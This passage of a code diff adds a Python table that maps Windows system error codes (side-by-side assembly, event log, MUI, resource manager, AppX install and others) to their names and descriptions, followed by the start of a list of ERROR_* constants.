+        0x000036f6: ("ERROR_SXS_XML_E_INVALID_STANDALONE", "Manifest Parse Error : The standalone attribute must have the value 'yes' or 'no'."),
+        0x000036f7: ("ERROR_SXS_XML_E_UNEXPECTED_STANDALONE", "Manifest Parse Error : The standalone attribute cannot be used in external entities."),
+        0x000036f8: ("ERROR_SXS_XML_E_INVALID_VERSION", "Manifest Parse Error : Invalid version number."),
+        0x000036f9: ("ERROR_SXS_XML_E_MISSINGEQUALS", "Manifest Parse Error : Missing equals sign between attribute and attribute value."),
+        0x000036fa: ("ERROR_SXS_PROTECTION_RECOVERY_FAILED", "Assembly Protection Error : Unable to recover the specified assembly."),
+        0x000036fb: ("ERROR_SXS_PROTECTION_PUBLIC_KEY_TOO_SHORT", "Assembly Protection Error : The public key for an assembly was too short to be allowed."),
+        0x000036fc: ("ERROR_SXS_PROTECTION_CATALOG_NOT_VALID", "Assembly Protection Error : The catalog for an assembly is not valid, or does not match the assembly's manifest."),
+        0x000036fd: ("ERROR_SXS_UNTRANSLATABLE_HRESULT", "An HRESULT could not be translated to a corresponding Win32 error code."),
+        0x000036fe: ("ERROR_SXS_PROTECTION_CATALOG_FILE_MISSING", "Assembly Protection Error : The catalog for an assembly is missing."),
+        0x000036ff: ("ERROR_SXS_MISSING_ASSEMBLY_IDENTITY_ATTRIBUTE", "The supplied assembly identity is missing one or more attributes which must be present in this context."),
+        0x00003700: ("ERROR_SXS_INVALID_ASSEMBLY_IDENTITY_ATTRIBUTE_NAME", "The supplied assembly identity has one or more attribute names that contain characters not permitted in XML names."),
+        0x00003701: ("ERROR_SXS_ASSEMBLY_MISSING", "The referenced assembly could not be found."),
+        0x00003702: ("ERROR_SXS_CORRUPT_ACTIVATION_STACK", "The activation context activation stack for the running thread of execution is corrupt."),
+        0x00003703: ("ERROR_SXS_CORRUPTION", "The application isolation metadata for this process or thread has become corrupt."),
+        0x00003704: ("ERROR_SXS_EARLY_DEACTIVATION", "The activation context being deactivated is not the most recently activated one."),
+        0x00003705: ("ERROR_SXS_INVALID_DEACTIVATION", "The activation context being deactivated is not active for the current thread of execution."),
+        0x00003706: ("ERROR_SXS_MULTIPLE_DEACTIVATION", "The activation context being deactivated has already been deactivated."),
+        0x00003707: ("ERROR_SXS_PROCESS_TERMINATION_REQUESTED", "A component used by the isolation facility has requested to terminate the process."),
+        0x00003708: ("ERROR_SXS_RELEASE_ACTIVATION_CONTEXT", "A kernel mode component is releasing a reference on an activation context."),
+        0x00003709: ("ERROR_SXS_SYSTEM_DEFAULT_ACTIVATION_CONTEXT_EMPTY", "The activation context of system default assembly could not be generated."),
+        0x0000370a: ("ERROR_SXS_INVALID_IDENTITY_ATTRIBUTE_VALUE", "The value of an attribute in an identity is not within the legal range."),
+        0x0000370b: ("ERROR_SXS_INVALID_IDENTITY_ATTRIBUTE_NAME", "The name of an attribute in an identity is not within the legal range."),
+        0x0000370c: ("ERROR_SXS_IDENTITY_DUPLICATE_ATTRIBUTE", "An identity contains two definitions for the same attribute."),
+        0x0000370d: ("ERROR_SXS_IDENTITY_PARSE_ERROR", "The identity string is malformed. This may be due to a trailing comma, more than two unnamed attributes, missing attribute name or missing attribute value."),
+        0x0000370e: ("ERROR_MALFORMED_SUBSTITUTION_STRING", "A string containing localized substitutable content was malformed. Either a dollar sign ($) was followed by something other than a left parenthesis or another dollar sign or an substitution's right parenthesis was not found."),
+        0x0000370f: ("ERROR_SXS_INCORRECT_PUBLIC_KEY_TOKEN", "The public key token does not correspond to the public key specified."),
+        0x00003710: ("ERROR_UNMAPPED_SUBSTITUTION_STRING", "A substitution string had no mapping."),
+        0x00003711: ("ERROR_SXS_ASSEMBLY_NOT_LOCKED", "The component must be locked before making the request."),
+        0x00003712: ("ERROR_SXS_COMPONENT_STORE_CORRUPT", "The component store has been corrupted."),
+        0x00003713: ("ERROR_ADVANCED_INSTALLER_FAILED", "An advanced installer failed during setup or servicing."),
+        0x00003714: ("ERROR_XML_ENCODING_MISMATCH", "The character encoding in the XML declaration did not match the encoding used in the document."),
+        0x00003715: ("ERROR_SXS_MANIFEST_IDENTITY_SAME_BUT_CONTENTS_DIFFERENT", "The identities of the manifests are identical but their contents are different."),
+        0x00003716: ("ERROR_SXS_IDENTITIES_DIFFERENT", "The component identities are different."),
+        0x00003717: ("ERROR_SXS_ASSEMBLY_IS_NOT_A_DEPLOYMENT", "The assembly is not a deployment."),
+        0x00003718: ("ERROR_SXS_FILE_NOT_PART_OF_ASSEMBLY", "The file is not a part of the assembly."),
+        0x00003719: ("ERROR_SXS_MANIFEST_TOO_BIG", "The size of the manifest exceeds the maximum allowed."),
+        0x0000371a: ("ERROR_SXS_SETTING_NOT_REGISTERED", "The setting is not registered."),
+        0x0000371b: ("ERROR_SXS_TRANSACTION_CLOSURE_INCOMPLETE", "One or more required members of the transaction are not present."),
+        0x0000371c: ("ERROR_SMI_PRIMITIVE_INSTALLER_FAILED", "The SMI primitive installer failed during setup or servicing."),
+        0x0000371d: ("ERROR_GENERIC_COMMAND_FAILED", "A generic command executable returned a result that indicates failure."),
+        0x0000371e: ("ERROR_SXS_FILE_HASH_MISSING", "A component is missing file verification information in its manifest."),
+        0x00003a98: ("ERROR_EVT_INVALID_CHANNEL_PATH", "The specified channel path is invalid."),
+        0x00003a99: ("ERROR_EVT_INVALID_QUERY", "The specified query is invalid."),
+        0x00003a9a: ("ERROR_EVT_PUBLISHER_METADATA_NOT_FOUND", "The publisher metadata cannot be found in the resource."),
+        0x00003a9b: ("ERROR_EVT_EVENT_TEMPLATE_NOT_FOUND", "The template for an event definition cannot be found in the resource (error = %1)."),
+        0x00003a9c: ("ERROR_EVT_INVALID_PUBLISHER_NAME", "The specified publisher name is invalid."),
+        0x00003a9d: ("ERROR_EVT_INVALID_EVENT_DATA", "The event data raised by the publisher is not compatible with the event template definition in the publisher's manifest"),
+        0x00003a9f: ("ERROR_EVT_CHANNEL_NOT_FOUND", "The specified channel could not be found. Check channel configuration."),
+        0x00003aa0: ("ERROR_EVT_MALFORMED_XML_TEXT", "The specified xml text was not well-formed. See Extended Error for more details."),
+        0x00003aa1: ("ERROR_EVT_SUBSCRIPTION_TO_DIRECT_CHANNEL", "The caller is trying to subscribe to a direct channel which is not allowed. The events for a direct channel go directly to a logfile and cannot be subscribed to."),
+        0x00003aa2: ("ERROR_EVT_CONFIGURATION_ERROR", "Configuration error."),
+        0x00003aa3: ("ERROR_EVT_QUERY_RESULT_STALE", "The query result is stale / invalid. This may be due to the log being cleared or rolling over after the query result was created. Users should handle this code by releasing the query result object and reissuing the query."),
+        0x00003aa4: ("ERROR_EVT_QUERY_RESULT_INVALID_POSITION", "Query result is currently at an invalid position."),
+        0x00003aa5: ("ERROR_EVT_NON_VALIDATING_MSXML", "Registered MSXML doesn't support validation."),
+        0x00003aa6: ("ERROR_EVT_FILTER_ALREADYSCOPED", "An expression can only be followed by a change of scope operation if it itself evaluates to a node set and is not already part of some other change of scope operation."),
+        0x00003aa7: ("ERROR_EVT_FILTER_NOTELTSET", "Can't perform a step operation from a term that does not represent an element set."),
+        0x00003aa8: ("ERROR_EVT_FILTER_INVARG", "Left hand side arguments to binary operators must be either attributes, nodes or variables and right hand side arguments must be constants."),
+        0x00003aa9: ("ERROR_EVT_FILTER_INVTEST", "A step operation must involve either a node test or, in the case of a predicate, an algebraic expression against which to test each node in the node set identified by the preceding node set can be evaluated."),
+        0x00003aaa: ("ERROR_EVT_FILTER_INVTYPE", "This data type is currently unsupported."),
+        0x00003aab: ("ERROR_EVT_FILTER_PARSEERR", "A syntax error occurred at position %1!d!"),
+        0x00003aac: ("ERROR_EVT_FILTER_UNSUPPORTEDOP", "This operator is unsupported by this implementation of the filter."),
+        0x00003aad: ("ERROR_EVT_FILTER_UNEXPECTEDTOKEN", "The token encountered was unexpected."),
+        0x00003aae: ("ERROR_EVT_INVALID_OPERATION_OVER_ENABLED_DIRECT_CHANNEL", "The requested operation cannot be performed over an enabled direct channel. The channel must first be disabled before performing the requested operation."),
+        0x00003aaf: ("ERROR_EVT_INVALID_CHANNEL_PROPERTY_VALUE", "Channel property %1!s! contains invalid value. The value has invalid type, is outside of valid range, can't be updated or is not supported by this type of channel."),
+        0x00003ab0: ("ERROR_EVT_INVALID_PUBLISHER_PROPERTY_VALUE", "Publisher property %1!s! contains invalid value. The value has invalid type, is outside of valid range, can't be updated or is not supported by this type of publisher."),
+        0x00003ab1: ("ERROR_EVT_CHANNEL_CANNOT_ACTIVATE", "The channel fails to activate."),
+        0x00003ab2: ("ERROR_EVT_FILTER_TOO_COMPLEX", "The xpath expression exceeded supported complexity. Please symplify it or split it into two or more simple expressions."),
+        0x00003ab3: ("ERROR_EVT_MESSAGE_NOT_FOUND", "the message resource is present but the message is not found in the string/message table"),
+        0x00003ab4: ("ERROR_EVT_MESSAGE_ID_NOT_FOUND", "The message id for the desired message could not be found."),
+        0x00003ab5: ("ERROR_EVT_UNRESOLVED_VALUE_INSERT", "The substitution string for insert index (%1) could not be found."),
+        0x00003ab6: ("ERROR_EVT_UNRESOLVED_PARAMETER_INSERT", "The description string for parameter reference (%1) could not be found."),
+        0x00003ab7: ("ERROR_EVT_MAX_INSERTS_REACHED", "The maximum number of replacements has been reached."),
+        0x00003ab8: ("ERROR_EVT_EVENT_DEFINITION_NOT_FOUND", "The event definition could not be found for event id (%1)."),
+        0x00003ab9: ("ERROR_EVT_MESSAGE_LOCALE_NOT_FOUND", "The locale specific resource for the desired message is not present."),
+        0x00003aba: ("ERROR_EVT_VERSION_TOO_OLD", "The resource is too old to be compatible."),
+        0x00003abb: ("ERROR_EVT_VERSION_TOO_NEW", "The resource is too new to be compatible."),
+        0x00003abc: ("ERROR_EVT_CANNOT_OPEN_CHANNEL_OF_QUERY", "The channel at index %1!d! of the query can't be opened."),
+        0x00003abd: ("ERROR_EVT_PUBLISHER_DISABLED", "The publisher has been disabled and its resource is not available. This usually occurs when the publisher is in the process of being uninstalled or upgraded."),
+        0x00003abe: ("ERROR_EVT_FILTER_OUT_OF_RANGE", "Attempted to create a numeric type that is outside of its valid range."),
+        0x00003ae8: ("ERROR_EC_SUBSCRIPTION_CANNOT_ACTIVATE", "The subscription fails to activate."),
+        0x00003ae9: ("ERROR_EC_LOG_DISABLED", "The log of the subscription is in disabled state, and can not be used to forward events to. The log must first be enabled before the subscription can be activated."),
+        0x00003aea: ("ERROR_EC_CIRCULAR_FORWARDING", "When forwarding events from local machine to itself, the query of the subscription can't contain target log of the subscription."),
+        0x00003aeb: ("ERROR_EC_CREDSTORE_FULL", "The credential store that is used to save credentials is full."),
+        0x00003aec: ("ERROR_EC_CRED_NOT_FOUND", "The credential used by this subscription can't be found in credential store."),
+        0x00003aed: ("ERROR_EC_NO_ACTIVE_CHANNEL", "No active channel is found for the query."),
+        0x00003afc: ("ERROR_MUI_FILE_NOT_FOUND", "The resource loader failed to find MUI file."),
+        0x00003afd: ("ERROR_MUI_INVALID_FILE", "The resource loader failed to load MUI file because the file fail to pass validation."),
+        0x00003afe: ("ERROR_MUI_INVALID_RC_CONFIG", "The RC Manifest is corrupted with garbage data or unsupported version or missing required item."),
+        0x00003aff: ("ERROR_MUI_INVALID_LOCALE_NAME", "The RC Manifest has invalid culture name."),
+        0x00003b00: ("ERROR_MUI_INVALID_ULTIMATEFALLBACK_NAME", "The RC Manifest has invalid ultimatefallback name."),
+        0x00003b01: ("ERROR_MUI_FILE_NOT_LOADED", "The resource loader cache doesn't have loaded MUI entry."),
+        0x00003b02: ("ERROR_RESOURCE_ENUM_USER_STOP", "User stopped resource enumeration."),
+        0x00003b03: ("ERROR_MUI_INTLSETTINGS_UILANG_NOT_INSTALLED", "UI language installation failed."),
+        0x00003b04: ("ERROR_MUI_INTLSETTINGS_INVALID_LOCALE_NAME", "Locale installation failed."),
+        0x00003b06: ("ERROR_MRM_RUNTIME_NO_DEFAULT_OR_NEUTRAL_RESOURCE", "A resource does not have default or neutral value."),
+        0x00003b07: ("ERROR_MRM_INVALID_PRICONFIG", "Invalid PRI config file."),
+        0x00003b08: ("ERROR_MRM_INVALID_FILE_TYPE", "Invalid file type."),
+        0x00003b09: ("ERROR_MRM_UNKNOWN_QUALIFIER", "Unknown qualifier."),
+        0x00003b0a: ("ERROR_MRM_INVALID_QUALIFIER_VALUE", "Invalid qualifier value."),
+        0x00003b0b: ("ERROR_MRM_NO_CANDIDATE", "No Candidate found."),
+        0x00003b0c: ("ERROR_MRM_NO_MATCH_OR_DEFAULT_CANDIDATE", "The ResourceMap or NamedResource has an item that does not have default or neutral resource.."),
+        0x00003b0d: ("ERROR_MRM_RESOURCE_TYPE_MISMATCH", "Invalid ResourceCandidate type."),
+        0x00003b0e: ("ERROR_MRM_DUPLICATE_MAP_NAME", "Duplicate Resource Map."),
+        0x00003b0f: ("ERROR_MRM_DUPLICATE_ENTRY", "Duplicate Entry."),
+        0x00003b10: ("ERROR_MRM_INVALID_RESOURCE_IDENTIFIER", "Invalid Resource Identifier."),
+        0x00003b11: ("ERROR_MRM_FILEPATH_TOO_LONG", "Filepath too long."),
+        0x00003b12: ("ERROR_MRM_UNSUPPORTED_DIRECTORY_TYPE", "Unsupported directory type."),
+        0x00003b16: ("ERROR_MRM_INVALID_PRI_FILE", "Invalid PRI File."),
+        0x00003b17: ("ERROR_MRM_NAMED_RESOURCE_NOT_FOUND", "NamedResource Not Found."),
+        0x00003b1f: ("ERROR_MRM_MAP_NOT_FOUND", "ResourceMap Not Found."),
+        0x00003b20: ("ERROR_MRM_UNSUPPORTED_PROFILE_TYPE", "Unsupported MRT profile type."),
+        0x00003b21: ("ERROR_MRM_INVALID_QUALIFIER_OPERATOR", "Invalid qualifier operator."),
+        0x00003b22: ("ERROR_MRM_INDETERMINATE_QUALIFIER_VALUE", "Unable to determine qualifier value or qualifier value has not been set."),
+        0x00003b23: ("ERROR_MRM_AUTOMERGE_ENABLED", "Automerge is enabled in the PRI file."),
+        0x00003b24: ("ERROR_MRM_TOO_MANY_RESOURCES", "Too many resources defined for package."),
+        0x00003b60: ("ERROR_MCA_INVALID_CAPABILITIES_STRING", "The monitor returned a DDC/CI capabilities string that did not comply with the ACCESS.bus 3.0, DDC/CI 1.1 or MCCS 2 Revision 1 specification."),
+        0x00003b61: ("ERROR_MCA_INVALID_VCP_VERSION", "The monitor's VCP Version (0xDF) VCP code returned an invalid version value."),
+        0x00003b62: ("ERROR_MCA_MONITOR_VIOLATES_MCCS_SPECIFICATION", "The monitor does not comply with the MCCS specification it claims to support."),
+        0x00003b63: ("ERROR_MCA_MCCS_VERSION_MISMATCH", "The MCCS version in a monitor's mccs_ver capability does not match the MCCS version the monitor reports when the VCP Version (0xDF) VCP code is used."),
+        0x00003b64: ("ERROR_MCA_UNSUPPORTED_MCCS_VERSION", "The Monitor Configuration API only works with monitors that support the MCCS 1.0 specification, MCCS 2.0 specification or the MCCS 2.0 Revision 1 specification."),
+        0x00003b65: ("ERROR_MCA_INTERNAL_ERROR", "An internal Monitor Configuration API error occurred."),
+        0x00003b66: ("ERROR_MCA_INVALID_TECHNOLOGY_TYPE_RETURNED", "The monitor returned an invalid monitor technology type. CRT, Plasma and LCD (TFT) are examples of monitor technology types. This error implies that the monitor violated the MCCS 2.0 or MCCS 2.0 Revision 1 specification."),
+        0x00003b67: ("ERROR_MCA_UNSUPPORTED_COLOR_TEMPERATURE", "The caller of SetMonitorColorTemperature specified a color temperature that the current monitor did not support. This error implies that the monitor violated the MCCS 2.0 or MCCS 2.0 Revision 1 specification."),
+        0x00003b92: ("ERROR_AMBIGUOUS_SYSTEM_DEVICE", "The requested system device cannot be identified due to multiple indistinguishable devices potentially matching the identification criteria."),
+        0x00003bc3: ("ERROR_SYSTEM_DEVICE_NOT_FOUND", "The requested system device cannot be found."),
+        0x00003bc4: ("ERROR_HASH_NOT_SUPPORTED", "Hash generation for the specified hash version and hash type is not enabled on the server."),
+        0x00003bc5: ("ERROR_HASH_NOT_PRESENT", "The hash requested from the server is not available or no longer valid."),
+        0x00003bd9: ("ERROR_SECONDARY_IC_PROVIDER_NOT_REGISTERED", "The secondary interrupt controller instance that manages the specified interrupt is not registered."),
+        0x00003bda: ("ERROR_GPIO_CLIENT_INFORMATION_INVALID", "The information supplied by the GPIO client driver is invalid."),
+        0x00003bdb: ("ERROR_GPIO_VERSION_NOT_SUPPORTED", "The version specified by the GPIO client driver is not supported."),
+        0x00003bdc: ("ERROR_GPIO_INVALID_REGISTRATION_PACKET", "The registration packet supplied by the GPIO client driver is not valid."),
+        0x00003bdd: ("ERROR_GPIO_OPERATION_DENIED", "The requested operation is not supported for the specified handle."),
+        0x00003bde: ("ERROR_GPIO_INCOMPATIBLE_CONNECT_MODE", "The requested connect mode conflicts with an existing mode on one or more of the specified pins."),
+        0x00003bdf: ("ERROR_GPIO_INTERRUPT_ALREADY_UNMASKED", "The interrupt requested to be unmasked is not masked."),
+        0x00003c28: ("ERROR_CANNOT_SWITCH_RUNLEVEL", "The requested run level switch cannot be completed successfully."),
+        0x00003c29: ("ERROR_INVALID_RUNLEVEL_SETTING", "The service has an invalid run level setting. The run level for a service"),
+        0x00003c2a: ("ERROR_RUNLEVEL_SWITCH_TIMEOUT", "The requested run level switch cannot be completed successfully since"),
+        0x00003c2b: ("ERROR_RUNLEVEL_SWITCH_AGENT_TIMEOUT", "A run level switch agent did not respond within the specified timeout."),
+        0x00003c2c: ("ERROR_RUNLEVEL_SWITCH_IN_PROGRESS", "A run level switch is currently in progress."),
+        0x00003c2d: ("ERROR_SERVICES_FAILED_AUTOSTART", "One or more services failed to start during the service startup phase of a run level switch."),
+        0x00003c8d: ("ERROR_COM_TASK_STOP_PENDING", "The task stop request cannot be completed immediately since"),
+        0x00003cf0: ("ERROR_INSTALL_OPEN_PACKAGE_FAILED", "Package could not be opened."),
+        0x00003cf1: ("ERROR_INSTALL_PACKAGE_NOT_FOUND", "Package was not found."),
+        0x00003cf2: ("ERROR_INSTALL_INVALID_PACKAGE", "Package data is invalid."),
+        0x00003cf3: ("ERROR_INSTALL_RESOLVE_DEPENDENCY_FAILED", "Package failed updates, dependency or conflict validation."),
+        0x00003cf4: ("ERROR_INSTALL_OUT_OF_DISK_SPACE", "There is not enough disk space on your computer. Please free up some space and try again."),
+        0x00003cf5: ("ERROR_INSTALL_NETWORK_FAILURE", "There was a problem downloading your product."),
+        0x00003cf6: ("ERROR_INSTALL_REGISTRATION_FAILURE", "Package could not be registered."),
+        0x00003cf7: ("ERROR_INSTALL_DEREGISTRATION_FAILURE", "Package could not be unregistered."),
+        0x00003cf8: ("ERROR_INSTALL_CANCEL", "User cancelled the install request."),
+        0x00003cf9: ("ERROR_INSTALL_FAILED", "Install failed. Please contact your software vendor."),
+        0x00003cfa: ("ERROR_REMOVE_FAILED", "Removal failed. Please contact your software vendor."),
+        0x00003cfb: ("ERROR_PACKAGE_ALREADY_EXISTS", "The provided package is already installed, and reinstallation of the package was blocked. Check the AppXDeployment-Server event log for details."),
+        0x00003cfc: ("ERROR_NEEDS_REMEDIATION", "The application cannot be started. Try reinstalling the application to fix the problem."),
+        0x00003cfd: ("ERROR_INSTALL_PREREQUISITE_FAILED", "A Prerequisite for an install could not be satisfied."),
+        0x00003cfe: ("ERROR_PACKAGE_REPOSITORY_CORRUPTED", "The package repository is corrupted."),
+        0x00003cff: ("ERROR_INSTALL_POLICY_FAILURE", "To install this application you need either a Windows developer license or a sideloading-enabled system."),
+        0x00003d00: ("ERROR_PACKAGE_UPDATING", "The application cannot be started because it is currently updating."),
+        0x00003d01: ("ERROR_DEPLOYMENT_BLOCKED_BY_POLICY", "The package deployment operation is blocked by policy. Please contact your system administrator."),
+        0x00003d02: ("ERROR_PACKAGES_IN_USE", "The package could not be installed because resources it modifies are currently in use."),
+        0x00003d03: ("ERROR_RECOVERY_FILE_CORRUPT", "The package could not be recovered because necessary data for recovery have been corrupted."),
+        0x00003d04: ("ERROR_INVALID_STAGED_SIGNATURE", "The signature is invalid. To register in developer mode, AppxSignature.p7x and AppxBlockMap.xml must be valid or should not be present."),
+        0x00003d05: ("ERROR_DELETING_EXISTING_APPLICATIONDATA_STORE_FAILED", "An error occurred while deleting the package's previously existing application data."),
+        0x00003d06: ("ERROR_INSTALL_PACKAGE_DOWNGRADE", "The package could not be installed because a higher version of this package is already installed."),
+        0x00003d07: ("ERROR_SYSTEM_NEEDS_REMEDIATION", "An error in a system binary was detected. Try refreshing the PC to fix the problem."),
+        0x00003d08: ("ERROR_APPX_INTEGRITY_FAILURE_CLR_NGEN", "A corrupted CLR NGEN binary was detected on the system."),
+        0x00003d09: ("ERROR_RESILIENCY_FILE_CORRUPT", "The operation could not be resumed because necessary data for recovery have been corrupted."),
+        0x00003d0a: ("ERROR_INSTALL_FIREWALL_SERVICE_NOT_RUNNING", "The package could not be installed because the Windows Firewall service is not running. Enable the Windows Firewall service and try again."),
+        0x00003d54: ("APPMODEL_ERROR_NO_PACKAGE", "The process has no package identity."),
+        0x00003d55: ("APPMODEL_ERROR_PACKAGE_RUNTIME_CORRUPT", "The package runtime information is corrupted."),
+        0x00003d56: ("APPMODEL_ERROR_PACKAGE_IDENTITY_CORRUPT", "The package identity is corrupted."),
+        0x00003d57: ("APPMODEL_ERROR_NO_APPLICATION", "The process has no application identity."),
+        0x00003db8: ("ERROR_STATE_LOAD_STORE_FAILED", "Loading the state store failed."),
+        0x00003db9: ("ERROR_STATE_GET_VERSION_FAILED", "Retrieving the state version for the application failed."),
+        0x00003dba: ("ERROR_STATE_SET_VERSION_FAILED", "Setting the state version for the application failed."),
+        0x00003dbb: ("ERROR_STATE_STRUCTURED_RESET_FAILED", "Resetting the structured state of the application failed."),
+        0x00003dbc: ("ERROR_STATE_OPEN_CONTAINER_FAILED", "State Manager failed to open the container."),
+        0x00003dbd: ("ERROR_STATE_CREATE_CONTAINER_FAILED", "State Manager failed to create the container."),
+        0x00003dbe: ("ERROR_STATE_DELETE_CONTAINER_FAILED", "State Manager failed to delete the container."),
+        0x00003dbf: ("ERROR_STATE_READ_SETTING_FAILED", "State Manager failed to read the setting."),
+        0x00003dc0: ("ERROR_STATE_WRITE_SETTING_FAILED", "State Manager failed to write the setting."),
+        0x00003dc1: ("ERROR_STATE_DELETE_SETTING_FAILED", "State Manager failed to delete the setting."),
+        0x00003dc2: ("ERROR_STATE_QUERY_SETTING_FAILED", "State Manager failed to query the setting."),
+        0x00003dc3: ("ERROR_STATE_READ_COMPOSITE_SETTING_FAILED", "State Manager failed to read the composite setting."),
+        0x00003dc4: ("ERROR_STATE_WRITE_COMPOSITE_SETTING_FAILED", "State Manager failed to write the composite setting."),
+        0x00003dc5: ("ERROR_STATE_ENUMERATE_CONTAINER_FAILED", "State Manager failed to enumerate the containers."),
+        0x00003dc6: ("ERROR_STATE_ENUMERATE_SETTINGS_FAILED", "State Manager failed to enumerate the settings."),
+        0x00003dc7: ("ERROR_STATE_COMPOSITE_SETTING_VALUE_SIZE_LIMIT_EXCEEDED", "The size of the state manager composite setting value has exceeded the limit."),
+        0x00003dc8: ("ERROR_STATE_SETTING_VALUE_SIZE_LIMIT_EXCEEDED", "The size of the state manager setting value has exceeded the limit."),
+        0x00003dc9: ("ERROR_STATE_SETTING_NAME_SIZE_LIMIT_EXCEEDED", "The length of the state manager setting name has exceeded the limit."),
+        0x00003dca: ("ERROR_STATE_CONTAINER_NAME_SIZE_LIMIT_EXCEEDED", "The length of the state manager container name has exceeded the limit."),
+        0x00003de1: ("ERROR_API_UNAVAILABLE", "This API cannot be used in the context of the caller's application type."),
+        0x00003df5: ("STORE_ERROR_UNLICENSED", "This PC does not have a valid license for the application or product."),
+        0x00003df6: ("STORE_ERROR_UNLICENSED_USER", "The authenticated user does not have a valid license for the application or product."),
+}
+
+
+# Error Codes
+
+ERROR_SUCCESS                                                            = 0x00000000
+ERROR_INVALID_FUNCTION                                                   = 0x00000001
+ERROR_FILE_NOT_FOUND                                                     = 0x00000002
+ERROR_PATH_NOT_FOUND                                                     = 0x00000003
+ERROR_TOO_MANY_OPEN_FILES                                                = 0x00000004
+ERROR_ACCESS_DENIED                                                      = 0x00000005
+ERROR_INVALID_HANDLE                                                     = 0x00000006
+ERROR_ARENA_TRASHED                                                      = 0x00000007
+ERROR_NOT_ENOUGH_MEMORY                                                  = 0x00000008
+ERROR_INVALID_BLOCK                                                      = 0x00000009
+ERROR_BAD_ENVIRONMENT                                                    = 0x0000000a
+ERROR_BAD_FORMAT                                                         = 0x0000000b
+ERROR_INVALID_ACCESS                                                     = 0x0000000c
+ERROR_INVALID_DATA                                                       = 0x0000000d
+ERROR_OUTOFMEMORY                                                        = 0x0000000e
+ERROR_INVALID_DRIVE                                                      = 0x0000000f
+ERROR_CURRENT_DIRECTORY                                                  = 0x00000010
+ERROR_NOT_SAME_DEVICE                                                    = 0x00000011
+ERROR_NO_MORE_FILES                                                      = 0x00000012
+ERROR_WRITE_PROTECT                                                      = 0x00000013
+ERROR_BAD_UNIT                                                           = 0x00000014
+ERROR_NOT_READY                                                          = 0x00000015
+ERROR_BAD_COMMAND                                                        = 0x00000016
+ERROR_CRC                                                                = 0x00000017
+ERROR_BAD_LENGTH                                                         = 0x00000018
+ERROR_SEEK                                                               = 0x00000019
+ERROR_NOT_DOS_DISK                                                       = 0x0000001a
+ERROR_SECTOR_NOT_FOUND                                                   = 0x0000001b
+ERROR_OUT_OF_PAPER                                                       = 0x0000001c
+ERROR_WRITE_FAULT                                                        = 0x0000001d
+ERROR_READ_FAULT                                                         = 0x0000001e
+ERROR_GEN_FAILURE                                                        = 0x0000001f
+ERROR_SHARING_VIOLATION                                                  = 0x00000020
+ERROR_LOCK_VIOLATION                                                     = 0x00000021
+ERROR_WRONG_DISK                                                         = 0x00000022
+ERROR_SHARING_BUFFER_EXCEEDED                                            = 0x00000024
+ERROR_HANDLE_EOF                                                         = 0x00000026
+ERROR_HANDLE_DISK_FULL                                                   = 0x00000027
+ERROR_NOT_SUPPORTED                                                      = 0x00000032
+ERROR_REM_NOT_LIST                                                       = 0x00000033
+ERROR_DUP_NAME                                                           = 0x00000034
+ERROR_BAD_NETPATH                                                        = 0x00000035
+ERROR_NETWORK_BUSY                                                       = 0x00000036
+ERROR_DEV_NOT_EXIST                                                      = 0x00000037
+ERROR_TOO_MANY_CMDS                                                      = 0x00000038
+ERROR_ADAP_HDW_ERR                                                       = 0x00000039
+ERROR_BAD_NET_RESP                                                       = 0x0000003a
+ERROR_UNEXP_NET_ERR                                                      = 0x0000003b
+ERROR_BAD_REM_ADAP                                                       = 0x0000003c
+ERROR_PRINTQ_FULL                                                        = 0x0000003d
+ERROR_NO_SPOOL_SPACE                                                     = 0x0000003e
+ERROR_PRINT_CANCELLED                                                    = 0x0000003f
+ERROR_NETNAME_DELETED                                                    = 0x00000040
+ERROR_NETWORK_ACCESS_DENIED                                              = 0x00000041
+ERROR_BAD_DEV_TYPE                                                       = 0x00000042
+ERROR_BAD_NET_NAME                                                       = 0x00000043
+ERROR_TOO_MANY_NAMES                                                     = 0x00000044
+ERROR_TOO_MANY_SESS                                                      = 0x00000045
+ERROR_SHARING_PAUSED                                                     = 0x00000046
+ERROR_REQ_NOT_ACCEP                                                      = 0x00000047
+ERROR_REDIR_PAUSED                                                       = 0x00000048
+ERROR_FILE_EXISTS                                                        = 0x00000050
+ERROR_CANNOT_MAKE                                                        = 0x00000052
+ERROR_FAIL_I24                                                           = 0x00000053
+ERROR_OUT_OF_STRUCTURES                                                  = 0x00000054
+ERROR_ALREADY_ASSIGNED                                                   = 0x00000055
+ERROR_INVALID_PASSWORD                                                   = 0x00000056
+ERROR_INVALID_PARAMETER                                                  = 0x00000057
+ERROR_NET_WRITE_FAULT                                                    = 0x00000058
+ERROR_NO_PROC_SLOTS                                                      = 0x00000059
+ERROR_TOO_MANY_SEMAPHORES                                                = 0x00000064
+ERROR_EXCL_SEM_ALREADY_OWNED                                             = 0x00000065
+ERROR_SEM_IS_SET                                                         = 0x00000066
+ERROR_TOO_MANY_SEM_REQUESTS                                              = 0x00000067
+ERROR_INVALID_AT_INTERRUPT_TIME                                          = 0x00000068
+ERROR_SEM_OWNER_DIED                                                     = 0x00000069
+ERROR_SEM_USER_LIMIT                                                     = 0x0000006a
+ERROR_DISK_CHANGE                                                        = 0x0000006b
+ERROR_DRIVE_LOCKED                                                       = 0x0000006c
+ERROR_BROKEN_PIPE                                                        = 0x0000006d
+ERROR_OPEN_FAILED                                                        = 0x0000006e
+ERROR_BUFFER_OVERFLOW                                                    = 0x0000006f
+ERROR_DISK_FULL                                                          = 0x00000070
+ERROR_NO_MORE_SEARCH_HANDLES                                             = 0x00000071
+ERROR_INVALID_TARGET_HANDLE                                              = 0x00000072
+ERROR_INVALID_CATEGORY                                                   = 0x00000075
+ERROR_INVALID_VERIFY_SWITCH                                              = 0x00000076
+ERROR_BAD_DRIVER_LEVEL                                                   = 0x00000077
+ERROR_CALL_NOT_IMPLEMENTED                                               = 0x00000078
+ERROR_SEM_TIMEOUT                                                        = 0x00000079
+ERROR_INSUFFICIENT_BUFFER                                                = 0x0000007a
+ERROR_INVALID_NAME                                                       = 0x0000007b
+ERROR_INVALID_LEVEL                                                      = 0x0000007c
+ERROR_NO_VOLUME_LABEL                                                    = 0x0000007d
+ERROR_MOD_NOT_FOUND                                                      = 0x0000007e
+ERROR_PROC_NOT_FOUND                                                     = 0x0000007f
+ERROR_WAIT_NO_CHILDREN                                                   = 0x00000080
+ERROR_CHILD_NOT_COMPLETE                                                 = 0x00000081
+ERROR_DIRECT_ACCESS_HANDLE                                               = 0x00000082
+ERROR_NEGATIVE_SEEK                                                      = 0x00000083
+ERROR_SEEK_ON_DEVICE                                                     = 0x00000084
+ERROR_IS_JOIN_TARGET                                                     = 0x00000085
